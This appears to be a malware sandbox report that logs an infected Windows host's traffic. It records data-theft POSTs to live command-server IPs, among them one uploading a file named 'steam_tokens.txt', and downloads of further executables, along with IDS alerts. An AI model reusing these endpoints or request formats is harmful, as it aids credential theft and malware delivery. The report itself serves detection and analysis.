Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKEGHJDHDAFHIDHCFHDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 2d 2d 0d 0a Data Ascii: ------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="file"------AKKEGHJDHDAFHIDHCFHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="message"ybncbhylepme------DAFBGHCAKKFCAKEBKJKK--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDGHIIECGHDHJKFCAEGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 44 47 48 49 49 45 43 47 48 44 48 4a 4b 46 43 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 47 48 49 49 45 43 47 48 44 48 4a 4b 46 43 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 47 48 49 49 45 43 47 48 44 48 4a 4b 46 43 41 45 47 2d 2d 0d 0a Data Ascii: ------FIDGHIIECGHDHJKFCAEGContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------FIDGHIIECGHDHJKFCAEGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FIDGHIIECGHDHJKFCAEG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 35 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005587001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 35 38 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005588001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 11 Nov 2024 17:39:31 GMTIf-None-Match: "67324153-1a9e00"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 35 38 39 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005589031&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCGHCBKFCFBFHIDHDBFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 37 44 43 39 45 31 37 41 35 41 31 33 36 31 34 39 35 32 39 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="hwid"7A7DC9E17A5A1361495298------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="build"mars------EGCGHCBKFCFBFHIDHDBF--
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 35 39 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005590001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 37 44 43 39 45 31 37 41 35 41 31 33 36 31 34 39 35 32 39 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 2d 2d 0d 0a Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="hwid"7A7DC9E17A5A1361495298------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="build"mars------EGDGCGCFHIEHIDGDBAAE--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49699 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49794 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49929 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:56452 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:56454 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:56461 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:56457 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:56460 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:56462 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:56464 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:56469 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:56470 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:56472 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:56467 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:56477 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:56476 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:56481 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:56480 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:56482 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:56483 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:56471 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:56478 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.7:49808
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.7:54265
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.7:54297

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\DocumentsIEGCAAKFBA.exe

Code function: 26_2_0063E0C0 recv,recv,recv,recv,

26_2_0063E0C0

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIj8rNAQi5ys0BCKLRzQEIitPNAQik1s0BCPTWzQEIp9jNAQj5wNQVGPXJzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIj8rNAQi5ys0BCKLRzQEIitPNAQik1s0BCPTWzQEIp9jNAQj5wNQVGPXJzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
